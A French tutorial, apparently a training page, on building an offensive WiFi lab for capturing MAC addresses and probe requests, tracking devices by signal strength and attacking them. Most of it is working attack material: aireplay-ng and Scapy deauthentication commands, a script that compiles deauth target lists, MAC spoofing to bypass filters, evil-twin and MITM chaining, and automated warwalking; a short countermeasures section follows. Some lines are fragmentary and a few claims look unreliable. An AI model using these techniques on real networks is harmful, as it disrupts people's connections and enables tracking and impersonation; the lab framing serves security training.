📡 CHASSE MAC 2025 : Reconnaissance Physique Offensive
Maîtrisez la capture d'adresses MAC en mouvement, analysez les topographies réseau, identifiez les vulnérabilités ciblées et implémentez des contre-mesures robustes. Guide pratique avec démonstrations offensives contrôlées.
🎯 Mission : Lab MAC Hunt Physique
Développez vos compétences en reconnaissance offensive grâce à ce laboratoire pratique. Ce guide vous accompagne dans la construction d'un environnement de test complet, utilisable en virtualisation ou sur du matériel dédié, avec un focus sur les techniques d'exploitation réelles.
🏗️ Architecture du Laboratoire
Deux approches sont proposées : Environnement virtualisé pour une prise en main rapide, ou configuration matérielle pour une expérience offensive complète. Les deux options intègrent des simulations de reconnaissance physique.
VM Kali/Matériel Kali ───▶ Point d'Accès "Lab_MAC_Hunt" ───▶ Équipements de Test
Antenne USB (mode monitor) SSID dédié Adresses MAC connues pour targeting
Avantage : Simulation de pentests sur vos propres équipements – 100% légal et maîtrisé, avec focus sur exploitation MAC pour identification et déni de service ciblé.
🔧 Construction du Lab - Étape par Étape
Option Virtualisation (Démarrage Rapide)
- Installez Kali VM avec extensions USB activées (VirtualBox/VMware pour un passthrough adaptateur).
- Branchez un adaptateur WiFi compatible (RTL8812AU pour mode monitor stable et attaques deauth).
- Configurez le réseau en bridge vers votre réseau local (accès à AP réel pour simulations offensives).
- Activez le mode monitor :
iwconfig wlan0 mode monitor(vérifiez aveciwconfig). - Validez :
airodump-ng wlan0– visualisez votre AP et devices pour targeting initial.
Option Matériel Dédié (Offensif Pure)
- Installez Kali ARM sur un Raspberry Pi 4 (image officielle, flash via Raspberry Pi Imager pour un boot rapide).
- Branchez une Alfa AWUS036ACH via un câble USB d'extension (évite les interférences pour un deauth range 100m+).
- Alimentez avec batterie externe 10000mAh+ (pour 4h+ d'autonomie en warwalking offensif).
- Ajoutez un boîtier avec un ventilateur (temp <70°C sous une charge de deauth flood).
- Contrôlez à distance via SSH (raspi-config > Interface Options > SSH pour remote attacks).
sudo apt install realtek-rtl88xxau-dkms → reboot et retestez. Adaptateur non détecté ? lsusb pour confirmer, ou rfkill unblock wifi.
📋 Outils et Installation
# Mise à jour et installation complète (Kali 2025) :
sudo apt update && sudo apt upgrade -y
sudo apt install -y kismet wireshark nmap python3-scapy aircrack-ng macchanger git
# Configuration de Kismet pour un lab offensif (éthique) :
sudo usermod -a -G kismet $USER
sudo systemctl enable --now kismet
# Test : kismet -c wlan0 --no-logging (démarre sans erreur, capture probes pour deauth prep).
Kismet pour la capture passive/GPS-taggée (warwalking offensif),
Wireshark pour la dissection des frames (analyse deauth responses),
Nmap pour une topologie des hops (ciblage multi-couches),
Scapy pour les scripts custom (deauth packets forgés),
Aircrack pour le mode monitor/deauth basique,
Macchanger pour un spoofing offensif (impersonation tests).
📡 Étape 1 : Capture en Lab
Configurez votre AP de test (box/routeur en mode AP pour simu cible) et capturez vos devices. Pourquoi ? Contrôlez variables pour identifier fuites réelles (probes pour OSINT offensif), préparez attaques ciblées.
- Créez AP : Sur box, activez SSID "Lab_MAC_Hunt" (ouvert pour simplicité, WPA2-PSK pour réalisme offensif).
- Activez WiFi sur 3-5 devices : Smartphone, laptop, IoT (simulez cibles vulnérables).
- Capturez : 5-10 min, déplacez devices pour simu reconnaissance mobile (force plus de probes).
# Lancement Kismet (capture passive, prep deauth) :
sudo kismet -c wlan0 --no-logging --override-capture-kill
# Résultat attendu (console) :
INFO: Source wlan0 démarrée.
[WLAN] DEVICE: AA:BB:CC:DD:EE:FF (Samsung) PROBES: ['Home_SSID', 'Cafe_Free'] - Signal: -52 dBm
[WLAN] DEVICE: 11:22:33:44:55:66 (Apple) PROBES: ['iPhone_Perso'] - Canal: 6
# Arrêt (Ctrl+C), export : kismet -r capture.kismet pour Wireshark.
# Alt Aircrack (offensif basique, force probes) :
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon -c 6 --bssid VOTRE_AP_MAC -w capture_lab --output-format pcap
# Résultat : capture_lab-01.cap avec MAC/probes. Troubleshoot : Pas de frames ? iwlist wlan0 scan pour channels actifs.
🔬 Analyse Avancée - Scripts Perso
Développez un analyseur offensif custom pour automatiser déductions et prep attacks (ex. liste MAC pour deauth ciblé). Pourquoi ? Scalable pour pentests, intègre OSINT vendor pour vuln targeting.
#!/usr/bin/env python3
# mac_tracker_offensif.py - Analyseur offensif pour lab-only (sauvegardez *.py, chmod +x)
import scapy.all as scapy
from datetime import datetime
import json
class MacLabOffensif:
def __init__(self):
# Base devices connus (ajoutez vos MAC cibles ici)
self.known_devices = {
'AA:BB:CC:DD:EE:FF': {'nom': 'Smartphone_Cible', 'type': 'Android', 'risque': 'Élevé (IoT-like, vuln deauth)', 'cible_deauth': True},
'11:22:33:44:55:66': {'nom': 'Box_Cible', 'type': 'Routeur', 'risque': 'Moyen (OUI ISP pour OSINT)', 'cible_deauth': False}
}
self.alerts = []
def analyze_pcap(self, fichier_pcap):
"""Analyse offensive : MAC, probes, RSSI, "prep. deauth list"."""
packets = scapy.rdpcap(fichier_pcap)
mac_stats = {}
deauth_targets = [] # Liste pour les attaques
for pkt in packets:
if pkt.haslayer(scapy.Dot11): # Frames WiFi L2
mac_src = pkt.addr2 # MAC source (cible potentielle)
if mac_src not in mac_stats:
mac_stats[mac_src] = {'probes': set(), 'rssi_avg': [], 'timestamp': []}
# Probes (historique de fuites)
if pkt.type == 0 and pkt.subtype == 4 and pkt.haslayer(scapy.Dot11ProbeReq):
ssid = pkt.info.decode('utf-8', errors='ignore') if pkt.info else 'Inconnu'
mac_stats[mac_src]['probes'].add(ssid)
# RSSI pour targeting range
if hasattr(pkt, 'dBm_AntSignal'):
mac_stats[mac_src]['rssi_avg'].append(pkt.dBm_AntSignal)
mac_stats[mac_src]['timestamp'].append(datetime.now().isoformat())
# Alertes offensives
for mac, stats in mac_stats.items():
if mac in self.known_devices and self.known_devices[mac]['cible_deauth']:
rssi_moy = sum(stats['rssi_avg']) / len(stats['rssi_avg']) if stats['rssi_avg'] else 0
alert = f"[OFFENSIF] Cible {self.known_devices[mac]['nom']} - Probes: {len(stats['probes'])}, RSSI: {rssi_moy:.1f}dBm - Vuln: {self.known_devices[mac]['risque']} - Prep deauth: OUI"
print(alert)
self.alerts.append(alert)
deauth_targets.append(mac) # Pour script deauth ultérieur
else:
print(f"[INFO] MAC {mac} inconnu - Probes: {stats['probes']} - Potentiel cible")
# Export JSON pour targeting (ex. input deauth script)
export = {'alertes_offensives': self.alerts, 'stats': mac_stats, 'cibles_deauth': deauth_targets}
with open('cibles_offensives.json', 'w') as f:
json.dump(export, f, indent=2)
print("Exporté vers cibles_offensives.json - Utilisez pour attaques simulées.")
# Utilisation : python3 mac_tracker_offensif.py capture_lab.cap
if __name__ == "__main__":
analyseur = MacLabOffensif()
analyseur.analyze_pcap('capture_lab.cap') # Remplacez par votre nom de fichier
⚔️ Techniques Offensives Avancées
Simulez des attaques réelles en lab pour comprendre l'impacts ("deauth" pour forcer une reconnexion/probes leaks, "spoof" pour l'impersonation). Pourquoi ? Se former à un red team éthique, préparer des blues counters. Tout en contrôlé (sur vos devices).
# Avec Aircrack (basique, lab only) :
sudo aireplay-ng -0 10 -a VOTRE_AP_MAC -c MAC_CIBLE wlan0mon # 10 paquets deauth.
# Résultat attendu : Cible déconnectée, probes flood visibles en capture. Pourquoi : Force l'authentification, révèle les SSID cachés.
# Alt Scapy custom (avancé) :
from scapy.all import *
deauth_pkt = RadioTap()/Dot11(addr1=MAC_CIBLE, addr2=VOTRE_MAC, addr3=VOTRE_AP_MAC)/Dot11Deauth(reason=7)
sendp(deauth_pkt, iface="wlan0mon", count=10, inter=0.1) # 10 paquets, 0.1s intervalle.
# Résultat : Même effet, scriptable pour un flood massif. Exportez les probes permet un "post-attack" pour analyse ultérieur.
# Spoof simple :
sudo macchanger -m AA:BB:CC:DD:EE:FF wlan0 # Remplacez par MAC cible de votre lab.
sudo ifconfig wlan0 up # Réactive.
# Résultat : Votre interface = MAC cible (vérifiez ifconfig). Pourquoi : Bypass filtre MAC sur AP.
# Test offensif : nmcli dev wifi connect Lab_MAC_Hunt (avec spoof) – doit passer comme une"cible légitime".
🔍 Étape 2 : Analyse et Déductions
Exploitez les MAC capturées pour identifier des équipements et la topologie, preparez l'offensif (ciblage vulns via vendor).
# Extension analyseur :
for mac in mac_stats:
try:
fabricant = scapy.get_manuf(mac) or 'Inconnu'
type_equip = 'Smartphone (iOS vuln)' if 'Apple' in fabricant else 'Routeur (deauth cible)' if 'Huawei' in fabricant else 'Autre (OSINT général)'
print(f"MAC: {mac} - Fabricant: {fabricant} - Type Offensif: {type_equip}")
if 'Apple' in fabricant:
print(f"[TARGET] Vulns probables: Probes leaks pour social engineering (SSID perso).")
except Exception as e:
print(f"Erreur MAC {mac}: {e} - Update DB OUI.")
# Résultat : "MAC: 11:AA:22:BB:CC:DD - Fabricant: Apple Inc. - Type Offensif: Smartphone (iOS vuln)"..
macchanger -m MAC_CIBLE wlan0 – test MITM en lab). Track via RSSI pour prioriser les cibles mobiles.
🌐 Étape 3 : Multi-Hops
Complétez analyse L2 par L3 pour topologie offensive (ciblage chain via hops).
# Connexion AP : nmcli dev wifi connect Lab_MAC_Hunt password votre_pass # Vue interne pour probes internes.
# Traceroute hops : traceroute 8.8.8.8 # TTL pour déduire.
# Résultat : "1 192.168.1.1 (routeur cible) 2ms TTL=64 ; 2 10.0.0.1 (box ISP) 5ms TTL=63". Offensif : Hop2 vuln ? Scan Nmap post.
# Nmap local offensif : nmap -sn -T4 --script mac-geolocation 192.168.1.0/24 # Avec script pour OSINT MAC.
# Résultat : "Host 192.168.1.100 MAC 11:AA:22:BB:CC:DD (Samsung) - Géoloc approx via OUI". Troubleshoot : Bloqué ? -Pn, ou sudo pour raw sockets.
# Multi-hops offensif : ssh user@hop1 "nmap -sn 192.168.2.0/24" # Chain attacks lab.
🕵️ Étape 4 : Capturable par Tous
Démonstration accessibilité offensive sans matos pro – apps pour recon basique, déductions pour targeting initial.
Wigle WiFi (Android/iOS) – recon auto MAC/SSID pour wardriving light. Résultat : "AP MAC 11:AA:22:BB, Vendor Huawei (cible box pour deauth)".
Probes : Historique SSID pour social engineering (leurres evil twin). OUI MAC : 00:0C:29 = VMware (cible VM pour spoof bypass).
iOS limité, mais Airport Utility pour voisins (prep OSINT). Android root : bcmon pour monitor, deauth basique.
ARP/MDNS broadcast – déduit devices pour targeted deauth (ex. imprimante HP vuln).
🕶️ Étape 5 : Fuites et Protection
Analyse risques fuites MAC en contexte offensif (tracking pour spear-phishing via SSID leaks).
🛡️ Étape 6 : Contre-Mesures
Mettez en œuvre et validez protections contre offensives (anti-deauth, spoof resist). Test pre/post pour metrics.
Adresse MAC aléatoire (Dev Options). Recapture : Nouveau MAC, probes atténuées.
Contre deauth : Activez PMF (WPA3) pour ignorer floods.
Adresse WiFi privée. Recapture : MAC changée, historique masqué.
Contre spoof : Rotation auto + App Transport Security pour probes secure.
macchanger -r wlan0 permanent (cron). Recapture : Spoof résistant.Contre deauth : wpa_supplicant avec pmf=2 (802.11w mandatory).
Masquage SSID + Filtre MAC dynamique. Recapture : Probes réduites.
Contre evil twin : WPA3 + Certificat client pour auth mutuelle.
🎭 Scénarios Avancés
Simulez scénarios offensifs en lab pour valider chain attacks (deauth + spoof pour MITM).
Scénario 1 : Tracking Mouvement Offensif
- AP à 2 positions (10m apart).
- Bougez smartphone, capture RSSI var.
- Triangulez pour cibler mobile (prep deauth en mouvement).
- Map pour wardriving simu.
# Script triangulation offensif :
positions = {
'zone1': {'mac': 'AA:BB:CC:DD:EE:FF', 'rssi_avg': -45}, # Cible proche
'zone2': {'mac': 'AA:BB:CC:DD:EE:FF', 'rssi_avg': -65} # Cible loin
}
for zone, data in positions.items():
if data['rssi_avg'] > -50:
print(f"[TARGET] Cible en {zone} (proche pour deauth, RSSI {data['rssi_avg']} dBm)")
else:
print(f"[TARGET] Cible en {zone} (lointaine, monitor pour entrée range)")
# Résultat : "[TARGET] Cible en zone1 (proche pour deauth, RSSI -45 dBm)". Intégrez RSSI réel de capture.
Scénario 2 : Fingerprinting Offensif
- Capture probes 5 devices (5 min).
- Analysez timing pour OS (iOS régulier vs Android random).
- Déduisez sans OUI pour targeting (ex. iOS = probes pour social eng).
- Construisez signatures pour evil twin.
# Pattern fingerprint offensif :
intervals = [20, 25, 18] # Diffs timestamps probes (sec)
avg_interval = sum(intervals) / len(intervals)
if avg_interval < 22:
print("Fingerprint : iOS (probes régulières - cible pour WPA3 bypass simu)")
else:
print("Fingerprint : Android (irrégulières - cible pour deauth flood)")
# Résultat : "Fingerprint : iOS (probes régulières - cible pour WPA3 bypass simu)". Troubleshoot : Pas timing ? Ajoutez pkt.time diffs.
🛠️ Étape 7 : Lab Complet
Déployez en plateforme mobile autonome pour tests offensifs réels (deauth en mouvement).
# Config Raspi offensif : sudo apt update && sudo apt install kismet python3-scapy aircrack-ng
# Automatisation cron (crontab -e) :
* * * * * /usr/bin/kismet -c wlan0 --out-prefix /home/pi/captures/mac_hunt_$(date +\%Y\%m\%d_\%H\%M) --no-logging ; python3 /home/pi/mac_tracker_offensif.py /home/pi/captures/mac_hunt_*.cap
# Test full : Marche 100m, capture + analyse auto. Résultat : Alerts + JSON cibles.
✅ Validation des Acquis
Votre lab est opérationnel pour une reconnaissance offensive contrôlée. Maîtrisez la chaîne : Capture → Analyse → Attaque simu → Défense.